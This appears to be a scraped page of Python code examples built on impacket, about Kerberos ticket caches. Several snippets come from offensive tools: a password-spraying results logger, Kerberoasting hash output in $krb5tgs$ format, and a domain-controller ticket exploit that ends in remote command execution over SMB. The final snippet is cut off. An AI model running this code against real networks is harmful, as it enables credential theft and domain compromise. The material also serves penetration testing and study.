Exemple #1
0
    def _report_good_password(self, user, password, tgt, user_key):
        with self.report_lock:
            if user not in self.good_users:
                self.good_users[user] = True

            if user in self.good_credentials:
                return

            self.good_credentials[user] = password

            logging.info('Stupendous => %s:%s' % (user, password))

            if self.out_creds_file:
                self.out_creds_file.write("%s:%s\n" % (user, password))
                self.out_creds_file.flush()
            if self.out_users_file:
                self.out_users_file.write("%s\n" % user)
                self.out_users_file.flush()

            if self.save_ticket:
                ccache = CCache()
                ccache.fromTGT(tgt, user_key, user_key)

                ccache_file = user + '.ccache'
                ccache.saveFile(ccache_file)
                logging.info('Saved TGT in %s' % ccache_file)
Exemple #2
0
def split_cache(ccache, prefix='cc_split_'):
    '''
    Splits the specified ccache into a seperate cache for each credential.

    Paramaters:
        ccache                      (CCache)                CCache to split
        prefix                      (string)                Prefix name for splits

    Returns:
        names                       (list[string])          Split names
    '''
    count = 0
    names = []

    for credential in ccache.credentials:

        count += 1
        name = prefix + str(count)

        new_cc = CCache(data=ccache.getData())
        new_cc.credentials = [credential]

        new_cc.saveFile(name)
        names.append(name)

    return names
Exemple #3
0
    def saveTicket(self, ticket, sessionKey):
        logging.info('Saving ticket in %s' % (self.__user + '.ccache'))
        from impacket.krb5.ccache import CCache
        ccache = CCache()

        ccache.fromTGT(ticket, sessionKey, sessionKey)
        ccache.saveFile(self.__user + '.ccache')
Exemple #4
0
    def saveTicket(self, ticket, sessionKey):
        logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache'))
        ccache = CCache()

        ccache.fromTGS(ticket, sessionKey, sessionKey)
        ccache.saveFile(self.__saveFileName + '.ccache')
        config.set_ccache(self.__saveFileName + '.ccache')
Exemple #5
0
    def saveTicket(self, ticket, sessionKey):
        logging.info('Saving ticket in %s' % (self.__user + '.ccache'))
        from impacket.krb5.ccache import CCache
        ccache = CCache()

        ccache.fromTGT(ticket, sessionKey, sessionKey)
        ccache.saveFile(self.__user + '.ccache')
Exemple #6
0
 def saveTicket(self, tgt, sessionKey):
     logging.info('Saving ticket in %s' %
                  (self.__target.replace('/', '.') + '.ccache'))
     from impacket.krb5.ccache import CCache
     ccache = CCache()
     ccache.fromTGT(tgt, sessionKey, sessionKey)
     ccache.saveFile(self.__target.replace('/', '.') + '.ccache')
    def saveTicket(self, ticket, sessionKey):
        logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache'))
        from impacket.krb5.ccache import CCache
        ccache = CCache()

        if self.__server == self.__domain:
            ccache.fromTGT(ticket, sessionKey, sessionKey)
        else:
            ccache.fromTGS(ticket, sessionKey, sessionKey)
        ccache.saveFile(self.__target.replace('/','.') + '.ccache')
Exemple #8
0
    def saveTicket(self, ticket, sessionKey):
        logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache'))
        from impacket.krb5.ccache import CCache
        ccache = CCache()

        if self.__server == self.__domain:
            ccache.fromTGT(ticket, sessionKey, sessionKey)
        else:
            ccache.fromTGS(ticket, sessionKey, sessionKey)
        ccache.saveFile(self.__target.replace('/','.') + '.ccache')
Exemple #9
0
def convert_kirbi_to_ccache(input_filename, output_filename):
    with open(input_filename, 'rb') as fi:
        krb_cred = decoder.decode(fi.read(), asn1Spec=KRB_CRED())[0]
        enc_krb_cred_part = decoder.decode(krb_cred['enc-part']['cipher'], asn1Spec=EncKrbCredPart())[0]

    ccache = CCache()

    ccache.headers = []
    header = Header()
    header['tag'] = 1
    header['taglen'] = 8
    header['tagdata'] = '\xff\xff\xff\xff\x00\x00\x00\x00'
    ccache.headers.append(header)

    krb_cred_info = enc_krb_cred_part['ticket-info'][0]

    tmpPrincipal = types.Principal()
    tmpPrincipal.from_asn1(krb_cred_info, 'prealm', 'pname')
    ccache.principal = Principal()
    ccache.principal.fromPrincipal(tmpPrincipal)

    credential = Credential()
    server = types.Principal()
    server.from_asn1(krb_cred_info, 'srealm', 'sname')
    tmpServer = Principal()
    tmpServer.fromPrincipal(server)

    credential['client'] = ccache.principal
    credential['server'] = tmpServer
    credential['is_skey'] = 0

    credential['key'] = KeyBlock()
    credential['key']['keytype'] = int(krb_cred_info['key']['keytype'])
    credential['key']['keyvalue'] = str(krb_cred_info['key']['keyvalue'])
    credential['key']['keylen'] = len(credential['key']['keyvalue'])

    credential['time'] = Times()
    # credential['time']['authtime'] = ccache.toTimeStamp(types.KerberosTime.from_asn1(krb_cred_info['authtime']))
    credential['time']['starttime'] = ccache.toTimeStamp(types.KerberosTime.from_asn1(krb_cred_info['starttime']))
    credential['time']['endtime'] = ccache.toTimeStamp(types.KerberosTime.from_asn1(krb_cred_info['endtime']))
    credential['time']['renew_till'] = ccache.toTimeStamp(types.KerberosTime.from_asn1(krb_cred_info['renew-till']))

    flags = ccache.reverseFlags(krb_cred_info['flags'])
    credential['tktflags'] = flags

    credential['num_address'] = 0
    credential.ticket = CountedOctetString()
    credential.ticket['data'] = encoder.encode(krb_cred['tickets'][0].clone(tagSet=Ticket.tagSet, cloneValueFlag=True))
    credential.ticket['length'] = len(credential.ticket['data'])
    credential.secondTicket = CountedOctetString()
    credential.secondTicket['data'] = ''
    credential.secondTicket['length'] = 0
    ccache.credentials.append(credential)

    ccache.saveFile(output_filename)
Exemple #10
0
    def outputTGS(self,
                  tgs,
                  oldSessionKey,
                  sessionKey,
                  username,
                  spn,
                  fd=None):
        decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

        # According to RFC4757 the cipher part is like:
        # struct EDATA {
        #       struct HEADER {
        #               OCTET Checksum[16];
        #               OCTET Confounder[8];
        #       } Header;
        #       OCTET Data[0];
        # } edata;
        #
        # In short, we're interested in splitting the checksum and the rest of the encrypted data
        #
        if decodedTGS['ticket']['enc-part'][
                'etype'] == constants.EncryptionTypes.rc4_hmac.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.rc4_hmac.value, username,
                decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
            if fd is None:
                print entry
            else:
                fd.write(entry + '\n')
        else:
            logging.error('Skipping %s/%s due to incompatible e-type %d' %
                          (decodedTGS['ticket']['sname']['name-string'][0],
                           decodedTGS['ticket']['sname']['name-string'][1],
                           decodedTGS['ticket']['enc-part']['etype']))

        if self.__saveTGS is True:
            # Save the ticket
            logging.debug('About to save TGS for %s' % username)
            ccache = CCache()
            try:
                ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                ccache.saveFile('%s.ccache' % username)
            except Exception, e:
                logging.error(str(e))
Exemple #11
0
    def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
        decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

        # According to RFC4757 the cipher part is like:
        # struct EDATA {
        #       struct HEADER {
        #               OCTET Checksum[16];
        #               OCTET Confounder[8];
        #       } Header;
        #       OCTET Data[0];
        # } edata;
        #
        # In short, we're interested in splitting the checksum and the rest of the encrypted data
        #
        if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])),
                hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:])))
            if fd is None:
                print entry
            else:
                fd.write(entry+'\n')
        else:
            logging.error('Skipping %s/%s due to incompatible e-type %d' % (
                decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
                decodedTGS['ticket']['enc-part']['etype']))

        if self.__saveTGS is True:
            # Save the ticket
            logging.debug('About to save TGS for %s' % username)
            ccache = CCache()
            try:
                ccache.fromTGS(tgs, oldSessionKey, sessionKey )
                ccache.saveFile('%s.ccache' % username)
            except Exception, e:
                logging.error(str(e))
Exemple #12
0
    def exploit(self):
        if self.__kdcHost is None:
            getDCs = True
            self.__kdcHost = self.__domain
        else:
            getDCs = False

        self.__domainSid, self.__rid = self.getUserSID()
        try:
            self.__forestSid = self.getForestSid()
        except Exception as e:
            # For some reason we couldn't get the forest data. No problem, we can still continue
            # Only drawback is we won't get forest admin if successful
            logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
            self.__forestSid = None

        if getDCs is False:
            # User specified a DC already, no need to get the list
            self.__domainControllers.append(self.__kdcHost)
        else:
            self.__domainControllers = self.getDomainControllers()

        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        for dc in self.__domainControllers:
            logging.info('Attacking domain controller %s' % dc)
            self.__kdcHost = dc
            exception = None
            while True:
                try:
                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                            self.__lmhash, self.__nthash, None,
                                                                            self.__kdcHost, requestPAC=False)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash is '' and self.__nthash is '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                            continue
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break

                # So, we have the TGT, now extract the new session key and finish
                asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]

                # If the cypher in use != RC4 there's gotta be a salt for us to use
                salt = ''
                if asRep['padata']:
                    for pa in asRep['padata']:
                        if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                            etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
                            salt = etype2['salt'].prettyPrint()

                cipherText = asRep['enc-part']['cipher']

                # Key Usage 3
                # AS-REP encrypted part (includes TGS session key or
                # application session key), encrypted with the client key
                # (Section 5.4.2)
                if self.__nthash != '':
                    key = Key(cipher.enctype,self.__nthash)
                else:
                    key = cipher.string_to_key(self.__password, salt, None)

                plainText = cipher.decrypt(key, 3, cipherText)
                encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
                authTime = encASRepPart['authtime']

                serverName = Principal('krbtgt/%s' % self.__domain.upper(),
                                       type=constants.PrincipalNameType.NT_PRINCIPAL.value)
                tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
                                                                             cipher, sessionKey, authTime)

                # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
                try:
                    tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
                                                                                        self.__kdcHost, tgs, cipher,
                                                                                        sessionKey)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash is '' and self.__nthash is '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break
                else:
                    # Everything went well, let's save the ticket if asked and leave
                    if self.__writeTGT is not None:
                        from impacket.krb5.ccache import CCache
                        ccache = CCache()
                        ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                        ccache.saveFile(self.__writeTGT)
                    break
            if exception is None:
                # Success!
                logging.info('%s found vulnerable!' % dc)
                break
            else:
                logging.info('%s seems not vulnerable (%s)' % (dc, exception))

        if exception is None:
            TGS = {}
            TGS['KDC_REP'] = tgsCIFS
            TGS['cipher'] = cipher
            TGS['oldSessionKey'] = oldSessionKeyCIFS
            TGS['sessionKey'] = sessionKeyCIFS

            from impacket.smbconnection import SMBConnection
            if self.__targetIp is None:
                s = SMBConnection('*SMBSERVER', self.__target)
            else:
                s = SMBConnection('*SMBSERVER', self.__targetIp)
            s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
                            useCache=False)

            if self.__command != 'None':
                executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
                executer.run(self.__target)
Exemple #13
0
                    # done, byebye.
                    if self.__lmhash is '' and self.__nthash is '':
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        self.__lmhash = compute_lmhash(self.__password) 
                        self.__nthash = compute_nthash(self.__password) 
                    else:
                        raise 
                else:
                    raise 
            else:
                # Everything went well, let's save the ticket if asked and leave
                if self.__writeTGT is not None:
                    from impacket.krb5.ccache import CCache
                    ccache = CCache()
                    ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                    ccache.saveFile(self.__writeTGT)
                break
                 
        TGS = {}
        TGS['KDC_REP'] = tgsCIFS
        TGS['cipher'] = cipher
        TGS['oldSessionKey'] = oldSessionKeyCIFS
        TGS['sessionKey'] = sessionKeyCIFS

        from impacket.smbconnection import SMBConnection
        if self.__targetIp is None:
            s = SMBConnection('*SMBSERVER', self.__target)
        else:
            s = SMBConnection('*SMBSERVER', self.__targetIp)
        s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS, useCache=False)
Exemple #14
0
    def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
        decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

        # According to RFC4757 (RC4-HMAC) the cipher part is like:
        # struct EDATA {
        #       struct HEADER {
        #               OCTET Checksum[16];
        #               OCTET Confounder[8];
        #       } Header;
        #       OCTET Data[0];
        # } edata;
        #
        # In short, we're interested in splitting the checksum and the rest of the encrypted data
        #
        # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96)
        # last 12 bytes of the encrypted ticket represent the checksum of the decrypted 
        # ticket
        if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
                hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
            if fd is None:
                print(entry)
            else:
                fd.write(entry+'\n')
        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
            entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
                constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode)
            if fd is None:
                print(entry)
            else:
                fd.write(entry+'\n')
        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
            entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
                constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())
            if fd is None:
                print(entry)
            else:
                fd.write(entry+'\n')
        elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
                hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
            if fd is None:
                print(entry)
            else:
                fd.write(entry+'\n')
        else:
            logging.error('Skipping %s/%s due to incompatible e-type %d' % (
                decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
                decodedTGS['ticket']['enc-part']['etype']))

        if self.__saveTGS is True:
            # Save the ticket
            logging.debug('About to save TGS for %s' % username)
            ccache = CCache()
            try:
                ccache.fromTGS(tgs, oldSessionKey, sessionKey )
                ccache.saveFile('%s.ccache' % username)
            except Exception as e:
                logging.error(str(e))
Exemple #15
0
 def saveTicket(self, tgt, sessionKey):
     logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache'))
     from impacket.krb5.ccache import CCache
     ccache = CCache()
     ccache.fromTGT(tgt, sessionKey, sessionKey)
     ccache.saveFile(self.__target.replace('/','.') + '.ccache')
Exemple #16
0
    def saveTicket(self, ticket, sessionKey):
        logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache'))
        ccache = CCache()

        ccache.fromTGS(ticket, sessionKey, sessionKey)
        ccache.saveFile(self.__saveFileName + '.ccache')
Exemple #17
0
    def exploit(self):
        if self.__kdcHost is None:
            getDCs = True
            self.__kdcHost = self.__domain
        else:
            getDCs = False

        self.__domainSid, self.__rid = self.getUserSID()
        try:
            self.__forestSid = self.getForestSid()
        except Exception as e:
            # For some reason we couldn't get the forest data. No problem, we can still continue
            # Only drawback is we won't get forest admin if successful
            logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
            self.__forestSid = None

        if getDCs is False:
            # User specified a DC already, no need to get the list
            self.__domainControllers.append(self.__kdcHost)
        else:
            self.__domainControllers = self.getDomainControllers()

        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        for dc in self.__domainControllers:
            logging.info('Attacking domain controller %s' % dc)
            self.__kdcHost = dc
            exception = None
            while True:
                try:
                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                            self.__lmhash, self.__nthash, None,
                                                                            self.__kdcHost, requestPAC=False)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash == '' and self.__nthash == '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                            continue
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break

                # So, we have the TGT, now extract the new session key and finish
                asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]

                # If the cypher in use != RC4 there's gotta be a salt for us to use
                salt = ''
                if asRep['padata']:
                    for pa in asRep['padata']:
                        if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                            etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
                            salt = etype2['salt'].prettyPrint()

                cipherText = asRep['enc-part']['cipher']

                # Key Usage 3
                # AS-REP encrypted part (includes TGS session key or
                # application session key), encrypted with the client key
                # (Section 5.4.2)
                if self.__nthash != '':
                    key = Key(cipher.enctype,self.__nthash)
                else:
                    key = cipher.string_to_key(self.__password, salt, None)

                plainText = cipher.decrypt(key, 3, cipherText)
                encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
                authTime = encASRepPart['authtime']

                serverName = Principal('krbtgt/%s' % self.__domain.upper(),
                                       type=constants.PrincipalNameType.NT_PRINCIPAL.value)
                tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
                                                                             cipher, sessionKey, authTime)

                # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
                try:
                    tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
                                                                                        self.__kdcHost, tgs, cipher,
                                                                                        sessionKey)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash == '' and self.__nthash == '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break
                else:
                    # Everything went well, let's save the ticket if asked and leave
                    if self.__writeTGT is not None:
                        from impacket.krb5.ccache import CCache
                        ccache = CCache()
                        ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                        ccache.saveFile(self.__writeTGT)
                    break
            if exception is None:
                # Success!
                logging.info('%s found vulnerable!' % dc)
                break
            else:
                logging.info('%s seems not vulnerable (%s)' % (dc, exception))

        if exception is None:
            TGS = {}
            TGS['KDC_REP'] = tgsCIFS
            TGS['cipher'] = cipher
            TGS['oldSessionKey'] = oldSessionKeyCIFS
            TGS['sessionKey'] = sessionKeyCIFS

            from impacket.smbconnection import SMBConnection
            if self.__targetIp is None:
                s = SMBConnection('*SMBSERVER', self.__target)
            else:
                s = SMBConnection('*SMBSERVER', self.__targetIp)
            s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
                            useCache=False)

            if self.__command != 'None':
                executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
                executer.run(self.__target)
Exemple #18
0
    def outputTGS(self,
                  tgs,
                  oldSessionKey,
                  sessionKey,
                  username,
                  spn,
                  fd=None):
        decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

        # According to RFC4757 (RC4-HMAC) the cipher part is like:
        # struct EDATA {
        #       struct HEADER {
        #               OCTET Checksum[16];
        #               OCTET Confounder[8];
        #       } Header;
        #       OCTET Data[0];
        # } edata;
        #
        # In short, we're interested in splitting the checksum and the rest of the encrypted data
        #
        # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96)
        # last 12 bytes of the encrypted ticket represent the checksum of the decrypted
        # ticket
        if decodedTGS['ticket']['enc-part'][
                'etype'] == constants.EncryptionTypes.rc4_hmac.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.rc4_hmac.value, username,
                decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [:16].asOctets()).decode(),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [16:].asOctets()).decode())
            if fd is None:
                print(entry)
            else:
                fd.write(entry + '\n')
        elif decodedTGS['ticket']['enc-part'][
                'etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
            entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
                constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value,
                username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [-12:].asOctets()).decode(),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [:-12:].asOctets()).decode)
            if fd is None:
                print(entry)
            else:
                fd.write(entry + '\n')
        elif decodedTGS['ticket']['enc-part'][
                'etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
            entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
                constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value,
                username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [-12:].asOctets()).decode(),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [:-12:].asOctets()).decode())
            if fd is None:
                print(entry)
            else:
                fd.write(entry + '\n')
        elif decodedTGS['ticket']['enc-part'][
                'etype'] == constants.EncryptionTypes.des_cbc_md5.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.des_cbc_md5.value, username,
                decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [:16].asOctets()).decode(),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [16:].asOctets()).decode())
            if fd is None:
                print(entry)
            else:
                fd.write(entry + '\n')
        else:
            logging.error('Skipping %s/%s due to incompatible e-type %d' %
                          (decodedTGS['ticket']['sname']['name-string'][0],
                           decodedTGS['ticket']['sname']['name-string'][1],
                           decodedTGS['ticket']['enc-part']['etype']))

        if self.__saveTGS is True:
            # Save the ticket
            logging.debug('About to save TGS for %s' % username)
            ccache = CCache()
            try:
                ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                ccache.saveFile('%s.ccache' % username)
            except Exception as e:
                logging.error(str(e))
Exemple #19
0
    def exploit(self):
        self.__domainSid, self.__rid = self.getUserSID()

        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        while True: 
            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False)
            # So, we have the TGT, now extract the new session key and finish
            asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]

            # If the cypher in use != RC4 there's gotta be a salt for us to use
            salt = ''
            if asRep['padata']:
                for pa in asRep['padata']:
                    if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                        etype2 = decoder.decode(str(pa['padata-value'])[2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
                        enctype = etype2['etype']
                        salt = str(etype2['salt']) 

            cipherText = asRep['enc-part']['cipher']

            # Key Usage 3
            # AS-REP encrypted part (includes TGS session key or
            # application session key), encrypted with the client key
            # (Section 5.4.2)
            if self.__nthash != '':
                key = Key(cipher.enctype,self.__nthash)
            else:
                key = cipher.string_to_key(self.__password, salt, None)

            plainText = cipher.decrypt(key, 3, str(cipherText))
            encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
            authTime = encASRepPart['authtime']

            serverName = Principal('krbtgt/%s' % self.__domain.upper(), type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, authTime)

            # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
            serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
            try:
                tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, self.__kdcHost, tgs, cipher, sessionKey)
            except KerberosError, e:
                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES (most probably
                    # Windows XP). So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if self.__lmhash is '' and self.__nthash is '':
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        self.__lmhash = compute_lmhash(self.__password) 
                        self.__nthash = compute_nthash(self.__password) 
                    else:
                        raise e
                else:
                    raise e
            else:
                # Everything went well, let's save the ticket if asked and leave
                if self.__writeTGT is not None:
                    from impacket.krb5.ccache import CCache
                    ccache = CCache()
                    ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                    ccache.saveFile(self.__writeTGT)
                break
Exemple #20
0
    def outputTGS(self,
                  tgs,
                  oldSessionKey,
                  sessionKey,
                  username,
                  domain,
                  spn,
                  fd=None):
        decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

        # According to RFC4757 the cipher part is like:
        # struct EDATA {
        #       struct HEADER {
        #               OCTET Checksum[16];
        #               OCTET Confounder[8];
        #       } Header;
        #       OCTET Data[0];
        # } edata;
        #
        # In short, we're interested in splitting the checksum and the rest of the encrypted data
        #
        output = None
        if decodedTGS['ticket']['enc-part'][
                'etype'] == constants.EncryptionTypes.rc4_hmac.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.rc4_hmac.value, username,
                decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [:16].asOctets()).decode(),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [16:].asOctets()).decode())
            output = {
                'format': 'Kerberos 5 TGS-REP',
                'tgs': entry.strip(),
            }
            #new_domain_hash(domain, None, username, entry.strip(), format='Kerberos 5 TGS-REP')
            if fd != None:
                fd.write(entry + '\n')
        elif decodedTGS['ticket']['enc-part'][
                'etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
            entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
                constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value,
                username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
                        [-12:].asOctets()).decode(),
                hexlify(decodedTGS['ticket']['enc-part']['cipher']
